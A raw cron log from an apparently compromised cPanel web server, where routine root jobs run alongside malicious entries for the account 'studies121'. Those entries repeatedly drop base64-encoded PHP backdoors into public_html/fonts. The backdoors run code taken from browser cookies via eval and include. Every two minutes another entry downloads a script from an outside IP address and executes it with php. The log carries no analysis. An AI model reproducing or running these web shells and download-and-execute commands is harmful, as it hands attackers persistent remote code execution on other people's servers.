Sep  8 17:54:01 ip-184-168-122-23 CROND[21116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:55:01 ip-184-168-122-23 CROND[21507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:55:01 ip-184-168-122-23 CROND[21510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:55:01 ip-184-168-122-23 CROND[21513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:55:01 ip-184-168-122-23 CROND[21514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:55:01 ip-184-168-122-23 CROND[21511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:55:01 ip-184-168-122-23 CROND[21515]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:56:01 ip-184-168-122-23 CROND[21868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:56:01 ip-184-168-122-23 CROND[21870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:56:01 ip-184-168-122-23 CROND[21873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:56:01 ip-184-168-122-23 CROND[21871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:56:01 ip-184-168-122-23 CROND[21872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:57:01 ip-184-168-122-23 CROND[22350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:57:01 ip-184-168-122-23 CROND[22351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:57:01 ip-184-168-122-23 CROND[22352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:57:01 ip-184-168-122-23 CROND[22356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:58:01 ip-184-168-122-23 CROND[22706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:58:01 ip-184-168-122-23 CROND[22709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:58:01 ip-184-168-122-23 CROND[22710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:58:01 ip-184-168-122-23 CROND[22708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:58:01 ip-184-168-122-23 CROND[22711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:59:01 ip-184-168-122-23 CROND[23025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:59:01 ip-184-168-122-23 CROND[23028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:59:01 ip-184-168-122-23 CROND[23029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:59:01 ip-184-168-122-23 CROND[23027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:00:01 ip-184-168-122-23 CROND[23370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:00:01 ip-184-168-122-23 CROND[23371]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 18:00:01 ip-184-168-122-23 CROND[23373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:00:01 ip-184-168-122-23 CROND[23378]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 18:00:01 ip-184-168-122-23 CROND[23375]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:00:01 ip-184-168-122-23 CROND[23382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:00:01 ip-184-168-122-23 CROND[23379]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:00:01 ip-184-168-122-23 CROND[23377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:00:01 ip-184-168-122-23 CROND[23376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:01:01 ip-184-168-122-23 CROND[23752]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23752]: starting 0anacron
Sep  8 18:01:01 ip-184-168-122-23 CROND[23753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:01:01 ip-184-168-122-23 CROND[23759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:01:01 ip-184-168-122-23 CROND[23760]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 18:01:01 ip-184-168-122-23 CROND[23761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:01:01 ip-184-168-122-23 CROND[23762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23773]: finished 0anacron
Sep  8 18:02:01 ip-184-168-122-23 CROND[24101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:02:01 ip-184-168-122-23 CROND[24103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:02:01 ip-184-168-122-23 CROND[24104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:02:01 ip-184-168-122-23 CROND[24105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:02:01 ip-184-168-122-23 CROND[24107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:03:01 ip-184-168-122-23 CROND[24411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:03:01 ip-184-168-122-23 CROND[24412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:03:01 ip-184-168-122-23 CROND[24413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:03:01 ip-184-168-122-23 CROND[24414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:04:01 ip-184-168-122-23 CROND[24744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:04:01 ip-184-168-122-23 CROND[24743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:04:01 ip-184-168-122-23 CROND[24745]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:04:01 ip-184-168-122-23 CROND[24747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:04:01 ip-184-168-122-23 CROND[24746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:05:01 ip-184-168-122-23 CROND[25216]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 18:05:01 ip-184-168-122-23 CROND[25215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:05:01 ip-184-168-122-23 CROND[25219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:05:01 ip-184-168-122-23 CROND[25221]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:05:01 ip-184-168-122-23 CROND[25222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:05:01 ip-184-168-122-23 CROND[25223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:05:01 ip-184-168-122-23 CROND[25224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:06:01 ip-184-168-122-23 CROND[25602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:06:01 ip-184-168-122-23 CROND[25606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
